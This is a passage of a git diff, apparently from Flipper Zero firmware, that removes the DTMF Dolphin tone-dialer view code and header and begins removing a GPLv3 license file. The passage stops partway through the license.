||||||
#define DTMF_DOLPHIN_NUMPAD_X 1
|
|
||||||
#define DTMF_DOLPHIN_NUMPAD_Y 14
|
|
||||||
#define DTMF_DOLPHIN_BUTTON_WIDTH 13
|
|
||||||
#define DTMF_DOLPHIN_BUTTON_HEIGHT 13
|
|
||||||
#define DTMF_DOLPHIN_BUTTON_PADDING 1 // all sides
|
|
||||||
@@ -1,350 +0,0 @@
|
|||||||
#include "dtmf_dolphin_dialer.h"
|
|
||||||
|
|
||||||
#include <gui/elements.h>
|
|
||||||
|
|
||||||
typedef struct DTMFDolphinDialer {
|
|
||||||
View* view;
|
|
||||||
DTMFDolphinDialerOkCallback callback;
|
|
||||||
void* context;
|
|
||||||
} DTMFDolphinDialer;
|
|
||||||
|
|
||||||
typedef struct {
|
|
||||||
DTMFDolphinToneSection section;
|
|
||||||
uint8_t row;
|
|
||||||
uint8_t col;
|
|
||||||
float freq1;
|
|
||||||
float freq2;
|
|
||||||
bool playing;
|
|
||||||
uint16_t pulses;
|
|
||||||
uint16_t pulse_ms;
|
|
||||||
uint16_t gap_ms;
|
|
||||||
} DTMFDolphinDialerModel;
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
|
||||||
static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
|
||||||
static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
|
||||||
static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
|
||||||
static bool
|
|
||||||
dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event);
|
|
||||||
|
|
||||||
void draw_button(Canvas* canvas, uint8_t row, uint8_t col, bool invert) {
|
|
||||||
uint8_t left = DTMF_DOLPHIN_NUMPAD_X + // ((col + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
|
|
||||||
(col * DTMF_DOLPHIN_BUTTON_WIDTH);
|
|
||||||
// (col * DTMF_DOLPHIN_BUTTON_PADDING);
|
|
||||||
uint8_t top = DTMF_DOLPHIN_NUMPAD_Y + // ((row + 1) * DTMF_DOLPHIN_BUTTON_PADDING) +
|
|
||||||
(row * DTMF_DOLPHIN_BUTTON_HEIGHT);
|
|
||||||
// (row * DTMF_DOLPHIN_BUTTON_PADDING);
|
|
||||||
|
|
||||||
uint8_t span = dtmf_dolphin_get_tone_span(row, col);
|
|
||||||
|
|
||||||
if(span == 0) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
canvas_set_color(canvas, ColorBlack);
|
|
||||||
|
|
||||||
if(invert)
|
|
||||||
canvas_draw_rbox(
|
|
||||||
canvas,
|
|
||||||
left,
|
|
||||||
top,
|
|
||||||
(DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
|
||||||
DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
|
||||||
2);
|
|
||||||
else
|
|
||||||
canvas_draw_rframe(
|
|
||||||
canvas,
|
|
||||||
left,
|
|
||||||
top,
|
|
||||||
(DTMF_DOLPHIN_BUTTON_WIDTH * span) - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
|
||||||
DTMF_DOLPHIN_BUTTON_HEIGHT - (DTMF_DOLPHIN_BUTTON_PADDING * 2),
|
|
||||||
2);
|
|
||||||
|
|
||||||
if(invert) canvas_invert_color(canvas);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
// canvas_set_color(canvas, invert ? ColorWhite : ColorBlack);
|
|
||||||
canvas_draw_str_aligned(
|
|
||||||
canvas,
|
|
||||||
left - 1 + (int)((DTMF_DOLPHIN_BUTTON_WIDTH * span) / 2),
|
|
||||||
top + (int)(DTMF_DOLPHIN_BUTTON_HEIGHT / 2),
|
|
||||||
AlignCenter,
|
|
||||||
AlignCenter,
|
|
||||||
dtmf_dolphin_data_get_tone_name(row, col));
|
|
||||||
|
|
||||||
if(invert) canvas_invert_color(canvas);
|
|
||||||
}
|
|
||||||
|
|
||||||
void draw_dialer(Canvas* canvas, void* _model) {
|
|
||||||
DTMFDolphinDialerModel* model = _model;
|
|
||||||
uint8_t max_rows;
|
|
||||||
uint8_t max_cols;
|
|
||||||
uint8_t max_span;
|
|
||||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
|
|
||||||
for(int r = 0; r < max_rows; r++) {
|
|
||||||
for(int c = 0; c < max_cols; c++) {
|
|
||||||
if(model->row == r && model->col == c)
|
|
||||||
draw_button(canvas, r, c, true);
|
|
||||||
else
|
|
||||||
draw_button(canvas, r, c, false);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
void update_frequencies(DTMFDolphinDialerModel* model) {
|
|
||||||
dtmf_dolphin_data_get_tone_frequencies(&model->freq1, &model->freq2, model->row, model->col);
|
|
||||||
dtmf_dolphin_data_get_filter_data(
|
|
||||||
&model->pulses, &model->pulse_ms, &model->gap_ms, model->row, model->col);
|
|
||||||
}
|
|
||||||
|
|
||||||
static void dtmf_dolphin_dialer_draw_callback(Canvas* canvas, void* _model) {
|
|
||||||
DTMFDolphinDialerModel* model = _model;
|
|
||||||
if(model->playing) {
|
|
||||||
// Leverage the prioritized draw callback to handle
|
|
||||||
// the DMA so that it doesn't skip.
|
|
||||||
dtmf_dolphin_audio_handle_tick();
|
|
||||||
// Don't do any drawing if audio is playing.
|
|
||||||
canvas_set_font(canvas, FontPrimary);
|
|
||||||
elements_multiline_text_aligned(
|
|
||||||
canvas,
|
|
||||||
canvas_width(canvas) / 2,
|
|
||||||
canvas_height(canvas) / 2,
|
|
||||||
AlignCenter,
|
|
||||||
AlignCenter,
|
|
||||||
"Playing Tones");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
update_frequencies(model);
|
|
||||||
uint8_t max_rows = 0;
|
|
||||||
uint8_t max_cols = 0;
|
|
||||||
uint8_t max_span = 0;
|
|
||||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontPrimary);
|
|
||||||
elements_multiline_text(canvas, 2, 10, dtmf_dolphin_data_get_current_section_name());
|
|
||||||
canvas_draw_line(
|
|
||||||
canvas,
|
|
||||||
(max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
|
|
||||||
0,
|
|
||||||
(max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 1,
|
|
||||||
canvas_height(canvas));
|
|
||||||
elements_multiline_text(canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 10, "Detail");
|
|
||||||
canvas_draw_line(
|
|
||||||
canvas, 0, DTMF_DOLPHIN_NUMPAD_Y - 3, canvas_width(canvas), DTMF_DOLPHIN_NUMPAD_Y - 3);
|
|
||||||
// elements_multiline_text_aligned(canvas, 64, 2, AlignCenter, AlignTop, "Dialer Mode");
|
|
||||||
|
|
||||||
draw_dialer(canvas, model);
|
|
||||||
|
|
||||||
FuriString* output = furi_string_alloc();
|
|
||||||
|
|
||||||
if(model->freq1 && model->freq2) {
|
|
||||||
furi_string_cat_printf(
|
|
||||||
output,
|
|
||||||
"Dual Tone\nF1: %u Hz\nF2: %u Hz\n",
|
|
||||||
(unsigned int)model->freq1,
|
|
||||||
(unsigned int)model->freq2);
|
|
||||||
} else if(model->freq1) {
|
|
||||||
furi_string_cat_printf(output, "Single Tone\nF: %u Hz\n", (unsigned int)model->freq1);
|
|
||||||
}
|
|
||||||
|
|
||||||
canvas_set_font(canvas, FontSecondary);
|
|
||||||
canvas_set_color(canvas, ColorBlack);
|
|
||||||
if(model->pulse_ms) {
|
|
||||||
furi_string_cat_printf(output, "P: %u * %u ms\n", model->pulses, model->pulse_ms);
|
|
||||||
}
|
|
||||||
if(model->gap_ms) {
|
|
||||||
furi_string_cat_printf(output, "Gaps: %u ms\n", model->gap_ms);
|
|
||||||
}
|
|
||||||
elements_multiline_text(
|
|
||||||
canvas, (max_span * DTMF_DOLPHIN_BUTTON_WIDTH) + 4, 21, furi_string_get_cstr(output));
|
|
||||||
|
|
||||||
furi_string_free(output);
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_dialer_input_callback(InputEvent* event, void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer = context;
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
if(event->type == InputTypeShort) {
|
|
||||||
if(event->key == InputKeyRight) {
|
|
||||||
consumed = dtmf_dolphin_dialer_process_right(dtmf_dolphin_dialer);
|
|
||||||
} else if(event->key == InputKeyLeft) {
|
|
||||||
consumed = dtmf_dolphin_dialer_process_left(dtmf_dolphin_dialer);
|
|
||||||
} else if(event->key == InputKeyUp) {
|
|
||||||
consumed = dtmf_dolphin_dialer_process_up(dtmf_dolphin_dialer);
|
|
||||||
} else if(event->key == InputKeyDown) {
|
|
||||||
consumed = dtmf_dolphin_dialer_process_down(dtmf_dolphin_dialer);
|
|
||||||
}
|
|
||||||
|
|
||||||
} else if(event->key == InputKeyOk) {
|
|
||||||
consumed = dtmf_dolphin_dialer_process_ok(dtmf_dolphin_dialer, event);
|
|
||||||
}
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_dialer_process_up(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
uint8_t span = 0;
|
|
||||||
uint8_t cursor = model->row;
|
|
||||||
while(span == 0 && cursor > 0) {
|
|
||||||
cursor--;
|
|
||||||
span = dtmf_dolphin_get_tone_span(cursor, model->col);
|
|
||||||
}
|
|
||||||
if(span != 0) {
|
|
||||||
model->row = cursor;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_dialer_process_down(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
|
||||||
uint8_t max_rows = 0;
|
|
||||||
uint8_t max_cols = 0;
|
|
||||||
uint8_t max_span = 0;
|
|
||||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
uint8_t span = 0;
|
|
||||||
uint8_t cursor = model->row;
|
|
||||||
while(span == 0 && cursor < max_rows - 1) {
|
|
||||||
cursor++;
|
|
||||||
span = dtmf_dolphin_get_tone_span(cursor, model->col);
|
|
||||||
}
|
|
||||||
if(span != 0) {
|
|
||||||
model->row = cursor;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_dialer_process_left(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
uint8_t span = 0;
|
|
||||||
uint8_t cursor = model->col;
|
|
||||||
while(span == 0 && cursor > 0) {
|
|
||||||
cursor--;
|
|
||||||
span = dtmf_dolphin_get_tone_span(model->row, cursor);
|
|
||||||
}
|
|
||||||
if(span != 0) {
|
|
||||||
model->col = cursor;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool dtmf_dolphin_dialer_process_right(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
|
||||||
uint8_t max_rows = 0;
|
|
||||||
uint8_t max_cols = 0;
|
|
||||||
uint8_t max_span = 0;
|
|
||||||
dtmf_dolphin_tone_get_max_pos(&max_rows, &max_cols, &max_span);
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
uint8_t span = 0;
|
|
||||||
uint8_t cursor = model->col;
|
|
||||||
while(span == 0 && cursor < max_cols - 1) {
|
|
||||||
cursor++;
|
|
||||||
span = dtmf_dolphin_get_tone_span(model->row, cursor);
|
|
||||||
}
|
|
||||||
if(span != 0) {
|
|
||||||
model->col = cursor;
|
|
||||||
}
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
return true;
|
|
||||||
}
|
|
||||||
|
|
||||||
static bool
|
|
||||||
dtmf_dolphin_dialer_process_ok(DTMFDolphinDialer* dtmf_dolphin_dialer, InputEvent* event) {
|
|
||||||
bool consumed = false;
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
if(event->type == InputTypePress) {
|
|
||||||
model->playing = dtmf_dolphin_audio_play_tones(
|
|
||||||
model->freq1, model->freq2, model->pulses, model->pulse_ms, model->gap_ms);
|
|
||||||
} else if(event->type == InputTypeRelease) {
|
|
||||||
model->playing = !dtmf_dolphin_audio_stop_tones();
|
|
||||||
}
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
|
|
||||||
return consumed;
|
|
||||||
}
|
|
||||||
|
|
||||||
static void dtmf_dolphin_dialer_enter_callback(void* context) {
|
|
||||||
furi_assert(context);
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer = context;
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
model->col = 0;
|
|
||||||
model->row = 0;
|
|
||||||
model->section = 0;
|
|
||||||
model->freq1 = 0.0;
|
|
||||||
model->freq2 = 0.0;
|
|
||||||
model->playing = false;
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
}
|
|
||||||
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer_alloc() {
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer = malloc(sizeof(DTMFDolphinDialer));
|
|
||||||
|
|
||||||
dtmf_dolphin_dialer->view = view_alloc();
|
|
||||||
view_allocate_model(
|
|
||||||
dtmf_dolphin_dialer->view, ViewModelTypeLocking, sizeof(DTMFDolphinDialerModel));
|
|
||||||
|
|
||||||
with_view_model(
|
|
||||||
dtmf_dolphin_dialer->view,
|
|
||||||
DTMFDolphinDialerModel * model,
|
|
||||||
{
|
|
||||||
model->col = 0;
|
|
||||||
model->row = 0;
|
|
||||||
model->section = 0;
|
|
||||||
model->freq1 = 0.0;
|
|
||||||
model->freq2 = 0.0;
|
|
||||||
model->playing = false;
|
|
||||||
},
|
|
||||||
true);
|
|
||||||
|
|
||||||
view_set_context(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer);
|
|
||||||
view_set_draw_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_draw_callback);
|
|
||||||
view_set_input_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_input_callback);
|
|
||||||
view_set_enter_callback(dtmf_dolphin_dialer->view, dtmf_dolphin_dialer_enter_callback);
|
|
||||||
return dtmf_dolphin_dialer;
|
|
||||||
}
|
|
||||||
|
|
||||||
void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
|
||||||
furi_assert(dtmf_dolphin_dialer);
|
|
||||||
view_free(dtmf_dolphin_dialer->view);
|
|
||||||
free(dtmf_dolphin_dialer);
|
|
||||||
}
|
|
||||||
|
|
||||||
View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer) {
|
|
||||||
furi_assert(dtmf_dolphin_dialer);
|
|
||||||
return dtmf_dolphin_dialer->view;
|
|
||||||
}
|
|
||||||
@@ -1,18 +0,0 @@
|
|||||||
#pragma once
|
|
||||||
|
|
||||||
#include <gui/view.h>
|
|
||||||
#include "dtmf_dolphin_common.h"
|
|
||||||
|
|
||||||
typedef struct DTMFDolphinDialer DTMFDolphinDialer;
|
|
||||||
typedef void (*DTMFDolphinDialerOkCallback)(InputType type, void* context);
|
|
||||||
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer_alloc();
|
|
||||||
|
|
||||||
void dtmf_dolphin_dialer_free(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
|
||||||
|
|
||||||
View* dtmf_dolphin_dialer_get_view(DTMFDolphinDialer* dtmf_dolphin_dialer);
|
|
||||||
|
|
||||||
void dtmf_dolphin_dialer_set_ok_callback(
|
|
||||||
DTMFDolphinDialer* dtmf_dolphin_dialer,
|
|
||||||
DTMFDolphinDialerOkCallback callback,
|
|
||||||
void* context);
|
|
||||||
674
applications/external/esubghz_chat/LICENSE
vendored
@@ -1,674 +0,0 @@
|
|||||||
GNU GENERAL PUBLIC LICENSE
|
|
||||||
Version 3, 29 June 2007
|
|
||||||
|
|
||||||
Copyright (C) 2007 Free Software Foundation, Inc. <https://fsf.org/>
|
|
||||||
Everyone is permitted to copy and distribute verbatim copies
|
|
||||||
of this license document, but changing it is not allowed.
|
|
||||||
|
|
||||||
Preamble
|
|
||||||
|
|
||||||
The GNU General Public License is a free, copyleft license for
|
|
||||||
software and other kinds of works.
|
|
||||||
|
|
||||||
The licenses for most software and other practical works are designed
|
|
||||||
to take away your freedom to share and change the works. By contrast,
|
|
||||||
the GNU General Public License is intended to guarantee your freedom to
|
|
||||||
share and change all versions of a program--to make sure it remains free
|
|
||||||
software for all its users. We, the Free Software Foundation, use the
|
|
||||||
GNU General Public License for most of our software; it applies also to
|
|
||||||
any other work released this way by its authors. You can apply it to
|
|
||||||
your programs, too.
|
|
||||||
|
|
||||||
When we speak of free software, we are referring to freedom, not
|
|
||||||
price. Our General Public Licenses are designed to make sure that you
|
|
||||||
have the freedom to distribute copies of free software (and charge for
|
|
||||||
them if you wish), that you receive source code or can get it if you
|
|
||||||
want it, that you can change the software or use pieces of it in new
|
|
||||||
free programs, and that you know you can do these things.
|
|
||||||
|
|
||||||
To protect your rights, we need to prevent others from denying you
|
|
||||||
these rights or asking you to surrender the rights. Therefore, you have
|
|
||||||
certain responsibilities if you distribute copies of the software, or if
|
|
||||||
you modify it: responsibilities to respect the freedom of others.
|
|
||||||
|
|
||||||
For example, if you distribute copies of such a program, whether
|
|
||||||
gratis or for a fee, you must pass on to the recipients the same
|
|
||||||
freedoms that you received. You must make sure that they, too, receive
|
|
||||||
or can get the source code. And you must show them these terms so they
|
|
||||||
know their rights.
|
|
||||||
|
|
||||||
Developers that use the GNU GPL protect your rights with two steps:
|
|
||||||
(1) assert copyright on the software, and (2) offer you this License
|
|
||||||
giving you legal permission to copy, distribute and/or modify it.
|
|
||||||
|
|
||||||
For the developers' and authors' protection, the GPL clearly explains
|
|
||||||
that there is no warranty for this free software. For both users' and
|
|
||||||
authors' sake, the GPL requires that modified versions be marked as
|
|
||||||
changed, so that their problems will not be attributed erroneously to
|
|
||||||
authors of previous versions.
|
|
||||||
|
|
||||||
Some devices are designed to deny users access to install or run
|
|
||||||
modified versions of the software inside them, although the manufacturer
|
|
||||||
can do so. This is fundamentally incompatible with the aim of
|
|
||||||
protecting users' freedom to change the software. The systematic
|
|
||||||
pattern of such abuse occurs in the area of products for individuals to
|
|
||||||
use, which is precisely where it is most unacceptable. Therefore, we
|
|
||||||
have designed this version of the GPL to prohibit the practice for those
|
|
||||||
products. If such problems arise substantially in other domains, we
|
|
||||||
stand ready to extend this provision to those domains in future versions
|
|
||||||
of the GPL, as needed to protect the freedom of users.
|
|
||||||
|
|
||||||
Finally, every program is threatened constantly by software patents.
|
|
||||||
States should not allow patents to restrict development and use of
|
|
||||||
software on general-purpose computers, but in those that do, we wish to
|
|
||||||
avoid the special danger that patents applied to a free program could
|
|
||||||
make it effectively proprietary. To prevent this, the GPL assures that
|
|
||||||
patents cannot be used to render the program non-free.
|
|
||||||
|
|
||||||
The precise terms and conditions for copying, distribution and
|
|
||||||
modification follow.
|
|
||||||
|
|
||||||
TERMS AND CONDITIONS
|
|
||||||
|
|
||||||
0. Definitions.
|
|
||||||
|
|
||||||
"This License" refers to version 3 of the GNU General Public License.
|
|
||||||
|
|
||||||
"Copyright" also means copyright-like laws that apply to other kinds of
|
|
||||||
works, such as semiconductor masks.
|
|
||||||
|
|
||||||
"The Program" refers to any copyrightable work licensed under this
|
|
||||||
License. Each licensee is addressed as "you". "Licensees" and
|
|
||||||
"recipients" may be individuals or organizations.
|
|
||||||
|
|
||||||
To "modify" a work means to copy from or adapt all or part of the work
|
|
||||||
in a fashion requiring copyright permission, other than the making of an
|
|
||||||
exact copy. The resulting work is called a "modified version" of the
|
|
||||||
earlier work or a work "based on" the earlier work.
|
|
||||||
|
|
||||||
A "covered work" means either the unmodified Program or a work based
|
|
||||||
on the Program.
|
|
||||||
|
|
||||||
To "propagate" a work means to do anything with it that, without
|
|
||||||
permission, would make you directly or secondarily liable for
|
|
||||||
infringement under applicable copyright law, except executing it on a
|
|
||||||
computer or modifying a private copy. Propagation includes copying,
|
|
||||||
distribution (with or without modification), making available to the
|
|
||||||
public, and in some countries other activities as well.
|
|
||||||
|
|
||||||
To "convey" a work means any kind of propagation that enables other
|
|
||||||
parties to make or receive copies. Mere interaction with a user through
|
|
||||||
a computer network, with no transfer of a copy, is not conveying.
|
|
||||||
|
|
||||||
An interactive user interface displays "Appropriate Legal Notices"
|
|
||||||
to the extent that it includes a convenient and prominently visible
|
|
||||||
feature that (1) displays an appropriate copyright notice, and (2)
|
|
||||||
tells the user that there is no warranty for the work (except to the
|
|
||||||
extent that warranties are provided), that licensees may convey the
|
|
||||||
work under this License, and how to view a copy of this License. If
|
|
||||||
the interface presents a list of user commands or options, such as a
|
|
||||||
menu, a prominent item in the list meets this criterion.
|
|
||||||
|
|
||||||
1. Source Code.
|
|
||||||
|
|
||||||
The "source code" for a work means the preferred form of the work
|
|
||||||
for making modifications to it. "Object code" means any non-source
|
|
||||||
form of a work.
|
|
||||||
|
|
||||||
A "Standard Interface" means an interface that either is an official
|
|
||||||
standard defined by a recognized standards body, or, in the case of
|
|
||||||
interfaces specified for a particular programming language, one that
|
|
||||||
is widely used among developers working in that language.
|
|
||||||
|
|
||||||
The "System Libraries" of an executable work include anything, other
|
|
||||||
than the work as a whole, that (a) is included in the normal form of
|
|
||||||
packaging a Major Component, but which is not part of that Major
|
|
||||||
Component, and (b) serves only to enable use of the work with that
|
|
||||||
Major Component, or to implement a Standard Interface for which an
|
|
||||||
implementation is available to the public in source code form. A
|
|
||||||
"Major Component", in this context, means a major essential component
|
|
||||||
(kernel, window system, and so on) of the specific operating system
|
|
||||||
(if any) on which the executable work runs, or a compiler used to
|
|
||||||
produce the work, or an object code interpreter used to run it.
|
|
||||||
|
|
||||||
The "Corresponding Source" for a work in object code form means all
|
|
||||||
the source code needed to generate, install, and (for an executable
|
|
||||||
work) run the object code and to modify the work, including scripts to
|
|
||||||
control those activities. However, it does not include the work's
|
|
||||||
System Libraries, or general-purpose tools or generally available free
|
|
||||||
programs which are used unmodified in performing those activities but
|
|
||||||
which are not part of the work. For example, Corresponding Source
|
|
||||||
includes interface definition files associated with source files for
|
|
||||||
the work, and the source code for shared libraries and dynamically
|
|
||||||
linked subprograms that the work is specifically designed to require,
|
|
||||||
such as by intimate data communication or control flow between those
|
|
||||||
subprograms and other parts of the work.
|
|
||||||
|
|
||||||
The Corresponding Source need not include anything that users
|
|
||||||
can regenerate automatically from other parts of the Corresponding
|
|
||||||
Source.
|
|
||||||
|
|
||||||
The Corresponding Source for a work in source code form is that
|
|
||||||
same work.
|
|
||||||
|
|
||||||
2. Basic Permissions.
|
|
||||||
|
|
||||||
All rights granted under this License are granted for the term of
|
|
||||||
copyright on the Program, and are irrevocable provided the stated
|
|
||||||
conditions are met. This License explicitly affirms your unlimited
|
|
||||||
permission to run the unmodified Program. The output from running a
|
|
||||||
covered work is covered by this License only if the output, given its
|
|
||||||
content, constitutes a covered work. This License acknowledges your
|
|
||||||
rights of fair use or other equivalent, as provided by copyright law.
|
|
||||||
|
|
||||||
You may make, run and propagate covered works that you do not
|
|
||||||
convey, without conditions so long as your license otherwise remains
|
|
||||||
in force. You may convey covered works to others for the sole purpose
|
|
||||||
of having them make modifications exclusively for you, or provide you
|
|
||||||
with facilities for running those works, provided that you comply with
|
|
||||||
the terms of this License in conveying all material for which you do
|
|
||||||
not control copyright. Those thus making or running the covered works
|
|
||||||
for you must do so exclusively on your behalf, under your direction
|
|
||||||
and control, on terms that prohibit them from making any copies of
|
|
||||||
your copyrighted material outside their relationship with you.
|
|
||||||
|
|
||||||
Conveying under any other circumstances is permitted solely under
|
|
||||||
the conditions stated below. Sublicensing is not allowed; section 10
|
|
||||||
makes it unnecessary.
|
|
||||||
|
|
||||||
3. Protecting Users' Legal Rights From Anti-Circumvention Law.
|
|
||||||
|
|
||||||
No covered work shall be deemed part of an effective technological
|
|
||||||
measure under any applicable law fulfilling obligations under article
|
|
||||||
11 of the WIPO copyright treaty adopted on 20 December 1996, or
|
|
||||||
similar laws prohibiting or restricting circumvention of such
|
|
||||||
measures.
|
|
||||||
|
|
||||||
When you convey a covered work, you waive any legal power to forbid
|
|
||||||
circumvention of technological measures to the extent such circumvention
|
|
||||||
is effected by exercising rights under this License with respect to
|
|
||||||
the covered work, and you disclaim any intention to limit operation or
|
|
||||||
modification of the work as a means of enforcing, against the work's
|
|
||||||
users, your or third parties' legal rights to forbid circumvention of
|
|
||||||
technological measures.
|
|
||||||
|
|
||||||
4. Conveying Verbatim Copies.
|
|
||||||
|
|
||||||
You may convey verbatim copies of the Program's source code as you
|
|
||||||
receive it, in any medium, provided that you conspicuously and
|
|
||||||
appropriately publish on each copy an appropriate copyright notice;
|
|
||||||
keep intact all notices stating that this License and any
|
|
||||||
non-permissive terms added in accord with section 7 apply to the code;
|
|
||||||
keep intact all notices of the absence of any warranty; and give all
|
|
||||||
recipients a copy of this License along with the Program.
|
|
||||||
|
|
||||||
You may charge any price or no price for each copy that you convey,
|
|
||||||
and you may offer support or warranty protection for a fee.
|
|
||||||
|
|
||||||
5. Conveying Modified Source Versions.
|
|
||||||
|
|
||||||
You may convey a work based on the Program, or the modifications to
|
|
||||||
produce it from the Program, in the form of source code under the
|
|
||||||
terms of section 4, provided that you also meet all of these conditions:
|
|
||||||
|
|
||||||
a) The work must carry prominent notices stating that you modified
|
|
||||||
it, and giving a relevant date.
|
|
||||||
|
|
||||||
b) The work must carry prominent notices stating that it is
|
|
||||||
released under this License and any conditions added under section
|
|
||||||
7. This requirement modifies the requirement in section 4 to
|
|
||||||
"keep intact all notices".
|
|
||||||
|
|
||||||
c) You must license the entire work, as a whole, under this
|
|
||||||
License to anyone who comes into possession of a copy. This
|
|
||||||
License will therefore apply, along with any applicable section 7
|
|
||||||
additional terms, to the whole of the work, and all its parts,
|
|
||||||
regardless of how they are packaged. This License gives no
|
|
||||||
permission to license the work in any other way, but it does not
|
|
||||||
invalidate such permission if you have separately received it.
|
|
||||||
|
|
||||||
d) If the work has interactive user interfaces, each must display
|
|
||||||
Appropriate Legal Notices; however, if the Program has interactive
|
|
||||||
interfaces that do not display Appropriate Legal Notices, your
|
|
||||||
work need not make them do so.
|
|
||||||
|
|
||||||
A compilation of a covered work with other separate and independent
|
|
||||||
works, which are not by their nature extensions of the covered work,
|
|
||||||
and which are not combined with it such as to form a larger program,
|
|
||||||
in or on a volume of a storage or distribution medium, is called an
|
|
||||||
"aggregate" if the compilation and its resulting copyright are not
|
|
||||||
used to limit the access or legal rights of the compilation's users
|
|
||||||
beyond what the individual works permit. Inclusion of a covered work
|
|
||||||
in an aggregate does not cause this License to apply to the other
|
|
||||||
parts of the aggregate.
|
|
||||||
|
|
||||||
6. Conveying Non-Source Forms.
|
|
||||||
|
|
||||||
You may convey a covered work in object code form under the terms
|
|
||||||
of sections 4 and 5, provided that you also convey the
|
|
||||||
machine-readable Corresponding Source under the terms of this License,
|
|
||||||
in one of these ways:
|
|
||||||
|
|
||||||
a) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by the
|
|
||||||
Corresponding Source fixed on a durable physical medium
|
|
||||||
customarily used for software interchange.
|
|
||||||
|
|
||||||
b) Convey the object code in, or embodied in, a physical product
|
|
||||||
(including a physical distribution medium), accompanied by a
|
|
||||||
written offer, valid for at least three years and valid for as
|
|
||||||
long as you offer spare parts or customer support for that product
|
|
||||||
model, to give anyone who possesses the object code either (1) a
|
|
||||||
copy of the Corresponding Source for all the software in the
|
|
||||||
product that is covered by this License, on a durable physical
|
|
||||||
medium customarily used for software interchange, for a price no
|
|
||||||
more than your reasonable cost of physically performing this
|
|
||||||
conveying of source, or (2) access to copy the
|
|
||||||
Corresponding Source from a network server at no charge.
|
|
||||||
|
|
||||||
c) Convey individual copies of the object code with a copy of the
|
|
||||||
written offer to provide the Corresponding Source. This
|
|
||||||
alternative is allowed only occasionally and noncommercially, and
|
|
||||||
only if you received the object code with such an offer, in accord
|
|
||||||
with subsection 6b.
|
|
||||||
|
|
||||||
d) Convey the object code by offering access from a designated
|
|
||||||
place (gratis or for a charge), and offer equivalent access to the
|
|
||||||
Corresponding Source in the same way through the same place at no
|
|
||||||
further charge. You need not require recipients to copy the
|
|
||||||
